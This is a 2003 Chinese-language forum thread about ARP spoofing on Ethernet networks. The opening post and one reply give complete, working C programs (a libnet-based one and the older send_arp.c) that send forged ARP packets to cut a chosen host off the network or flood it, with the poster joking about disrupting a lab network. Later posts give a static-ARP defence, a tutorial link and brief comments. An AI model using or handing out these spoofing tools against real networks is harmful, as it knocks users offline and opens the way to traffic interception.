2003-11-17 08:36
threehair
转自安全焦点<br />动态ARP可导致整个TCP/IP网络中断<br />--------------------------------------------------------------------<br /><br /> <br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->/* 当年我就使用他作实验时把openlab给断了一会儿 hehe 不要扁我喔 */<br />/*<br />程序名:Arp_break_net.c<br />用途 :演示通过ARP数据包使网络中的某主机无法连接网络<br /> 演示中192.168.0.1 将无法连接进入网络<br />编写 :cloud<br />时间 :2001-2-11<br />其他 :程序依赖LibNet<br />*/<br /><br />#include<libnet.h><br /><br />u_char enet_src[6] = {0,0,0,0}; //源MAC地址 (伪造的一个不存在MAC地址)<br />u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; <br />//目标MAC地址(广播地址)<br />u_char ip_src[4] = {192,168,0,1}; <br />//源IP地址 (被踢出网络的IP地址)<br />u_char ip_dst[4] = {192,168,0,255}; <br />//目标IP地址 (随便一个IP地址)<br /><br />int main(int argc, char *argv[])<br />{<br /> int c;<br /> char errbuf[256];<br /> char *device = "eth0"; //数据包从第一个网卡发送出去<br /> struct libnet_link_int *l;<br /><br /><br /> l = libnet_open_link_interface(device, errbuf); //打开设备<br /> if (!l)<br /> {<br /> fprintf(stderr, "libnet_open_link_interface: %sn", errbuf);<br /> exit(EXIT_FAILURE);<br /> }<br /> c = send_arp(l, device); //发送ARP数据包<br /><br /> return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);<br />}<br /><br /><br />int send_arp(struct link_int *l, u_char *device)<br />{<br /> int n;<br /> u_char *buf;<br /><br /> if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)<br /> {<br /> perror("libnet_init_packet memory:");<br /> exit(EXIT_FAILURE);<br /> }<br /><br /> /*<br /> * 构造以太数据包头部信息<br /> */<br /> libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);<br /><br /> /*<br /> * 构造ARP数据包头部信息<br /> */<br /> libnet_build_arp(ARPHRD_ETHER,<br /> ETHERTYPE_IP,<br /> 6,<br /> 4,<br /> ARPOP_REQUEST,<br /> enet_src,<br /> ip_src,<br /> enet_dst,<br /> ip_dst,<br /> NULL,<br /> 0,<br /> buf + ETH_H);<br /><br /> n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H); //发送数据包<br /><br /> printf("Wrote %d byte ARP packet through linktype %dn", n, l->linktype);<br /><br /> libnet_destroy_packet(&buf);<br /> return (n);<br />}<!--c2--></div><!--ec2-->
2003-11-17 09:31
soccer_hou007
怎么会中断呢? <!--emo&:o--><img src='style_emoticons/default/ohmy.gif' border='0' style='vertical-align:middle' alt='ohmy.gif' /><!--endemo-->
2003-11-17 12:54
i2era
ethernet在二层上毫无安全性可言<br />arp永远是它的软肋<br /><br />PS:win32(98/me/2K/XP)在收到大量arp包时会停止响应,重起后不能进入系统(如果发送方仍未停止)<br /><br />send_arp.c,一个很老的程序了,我还曾经想把它移植到*BSD上,不过功力不够 <!--emo&:blush:--><img src='style_emoticons/default/blush.gif' border='0' style='vertical-align:middle' alt='blush.gif' /><!--endemo--> <br /><!--QuoteBegin--><div class='quotetop'>QUOTE</div><div class='quotemain'><!--QuoteEBegin-->/* <br />This program sends out one ARP packet with source/target IP <br />and Ethernet hardware addresses suuplied by the user. It <br />compiles and works on Linux and will probably work on any <br />Unix that has SOCK_PACKET. volobuev@t1.chem.umn.edu <br />*/ <br />#include <netdb.h> <br />#include <sys/socket.h> <br />#include <sys/types.h> <br />#include <stdio.h> <br />#include <errno.h> <br />#include <sys/ioctl.h> <br />#include <net/if.h> <br />#include <signal.h> <br />#include <netinet/ip.h> <br />#include <netinet/in.h> <br />#include <string.h> <br />#include <arpa/inet.h> <br />#include <netinet/ip_icmp.h> <br />#include <linux/if_ether.h> <br />#define ETH_HW_ADDR_LEN 6 <br />#define IP_ADDR_LEN 4 <br />#define ARP_FRAME_TYPE 0x0806 <br />#define ETHER_HW_TYPE 1 <br />#define IP_PROTO_TYPE 0x0800 <br />#define OP_ARP_REQUEST 2 <br />#define OP_ARP_QUEST 1 <br />#define DEFAULT_DEVICE "eth0" <br />char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev <br /> usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"}; <br />struct arp_packet <br />{ <br />u_char targ_hw_addr[ETH_HW_ADDR_LEN]; <br />u_char src_hw_addr[ETH_HW_ADDR_LEN]; <br />u_short frame_type; <br />u_short hw_type; <br />u_short prot_type; <br />u_char hw_addr_size; <br />u_char prot_addr_size; <br />u_short op; <br />u_char sndr_hw_addr[ETH_HW_ADDR_LEN]; <br />u_char sndr_ip_addr[IP_ADDR_LEN]; <br />u_char rcpt_hw_addr[ETH_HW_ADDR_LEN]; <br />u_char rcpt_ip_addr[IP_ADDR_LEN]; <br />u_char padding[18]; <br />}; <br />void die (char *); <br />void get_ip_addr (struct in_addr *, char *); <br />void get_hw_addr (char *, char *); <br />int main (int argc, char * argv[]) <br />{ <br />struct in_addr src_in_addr, targ_in_addr; <br />struct arp_packet pkt; <br />struct sockaddr sa; <br />int sock; <br />int j,number; <br />if (argc != 6) <br />die(usage); <br />sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP)); <br />if (sock < 0) <br />{ <br />perror("socket"); <br />exit(1); <br />} <br />number=atoi(argv[5]); <br />pkt.frame_type = htons(ARP_FRAME_TYPE); <br />pkt.hw_type = htons(ETHER_HW_TYPE); <br />pkt.prot_type = htons(IP_PROTO_TYPE); <br />pkt.hw_addr_size = ETH_HW_ADDR_LEN; <br />pkt.prot_addr_size = IP_ADDR_LEN; <br />pkt.op = htons(OP_ARP_QUEST); <br />get_hw_addr(pkt.targ_hw_addr, argv[4]); <br />get_hw_addr(pkt.rcpt_hw_addr, argv[4]); <br />get_hw_addr(pkt.src_hw_addr, argv[2]); <br />get_hw_addr(pkt.sndr_hw_addr, argv[2]); <br />get_ip_addr(&src_in_addr, argv[1]); <br />get_ip_addr(&targ_in_addr, argv[3]); <br />memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN); <br />memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN); <br />bzero(pkt.padding,18); <br />strcpy(sa.sa_data,DEFAULT_DEVICE); <br />for (j=0;j<number;j++) <br />{ <br />if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0) <br />{ <br />perror("sendto"); <br />exit(1); <br />} <br />} <br />exit(0); <br />} <br />void die (char *str) <br />{ <br />fprintf(stderr,"%s\n",str); <br />exit(1); <br />} <br />void get_ip_addr (struct in_addr *in_addr, char *str) <br />{ <br />struct hostent *hostp; <br />in_addr->s_addr = inet_addr(str); <br />if(in_addr->s_addr == -1) <br />{ <br />if ((hostp = gethostbyname(str))) <br />bcopy(hostp->h_addr, in_addr, hostp->h_length); <br />else { <br />fprintf(stderr, "send_arp: unknown host %s\n", str); <br />exit(1); <br /> } <br />} <br />} <br />void get_hw_addr (char *buf, char *str) <br />{ <br />int i; <br />char c, val; <br />for(i = 0; i < ETH_HW_ADDR_LEN; i++) <br />{ <br />if (!(c = tolower(*str++))) <br />die("Invalid hardware address"); <br />if (isdigit©) <br />val = c - '0'; <br />else if (c >= 'a' && c <= 'f') <br />val = c-'a'+10; <br /> else <br />die("Invalid hardware address"); <br />*buf = val << 4; <br />if (!(c = tolower(*str++))) <br />die("Invalid hardware address"); <br />if (isdigit©) <br />val = c - '0'; <br />else if (c >= 'a' && c <= 'f') <br />val = c-'a'+10; <br /> else <br />die("Invalid hardware address"); <br />*buf++ |= val; <br />if (*str == ':') <br />str++; <br />} <br />}<br /><br /><!--QuoteEnd--></div><!--QuoteEEnd-->
2003-11-17 13:05
i2era
由此我使用了一种很简单的控制手段(layer2):<br />在server上:<br />ifconfig interface down<br />ifconfig interface -arp //Disable the use of the Address Resolution Protocol.<br />ifconfig interface up<br /><br />add client ip and mac to file(ip.mac.list)<br />arp -f ip.mac.list<br /><br />在client上:<br />arp -s SERVER.ip SERVER.ether_addr<br /><br />这样只有那些在ip.mac.list里的client才能与server通信(双向交流)
2003-11-18 10:02
rhinofly
<!--QuoteBegin-i2era+2003-11-17 13:05:24--><div class='quotetop'>QUOTE(i2era @ 2003-11-17 13:05:24)</div><div class='quotemain'><!--QuoteEBegin--> 由此我使用了一种很简单的控制手段(layer2):<br />在server上:<br />ifconfig interface down<br />ifconfig interface -arp //Disable the use of the Address Resolution Protocol.<br />ifconfig interface up<br /><br />add client ip and mac to file(ip.mac.list)<br />arp -f ip.mac.list<br /><br />在client上:<br />arp -s SERVER.ip SERVER.ether_addr<br /><br />这样只有那些在ip.mac.list里的client才能与server通信(双向交流) <!--QuoteEnd--></div><!--QuoteEEnd--><br />是个办法。。。。。。。。如果由200台机器,不要累死啊?
2003-11-18 13:36
i2era
200个ip还勉强凑合,要是有2的N次方个就只能 <!--emo&:shut:--><img src='style_emoticons/default/shut.gif' border='0' style='vertical-align:middle' alt='shut.gif' /><!--endemo--> <br />所以说是一种很简单的控制手段 <!--emo&(00)--><img src='style_emoticons/default/ninja.gif' border='0' style='vertical-align:middle' alt='ninja.gif' /><!--endemo-->
2003-11-18 22:27
波波蛋儿
我写了一篇ARP协议的入门文章<br />希望初学者读了,对理解上面的文章有帮助<br /><br /><a href='http://www.ossh.org/Frame/index.asp?/os/learn/arpp.html' target='_blank'>http://www.ossh.org/Frame/index.asp?/os/learn/arpp.html</a>
2004-2-27 15:17
fire9
很好的网站,我支持!可是我不会编程.
页:
[1]
Powered by Discuz! Archiver 5.5.0
© 2001-2006 Comsenz Inc.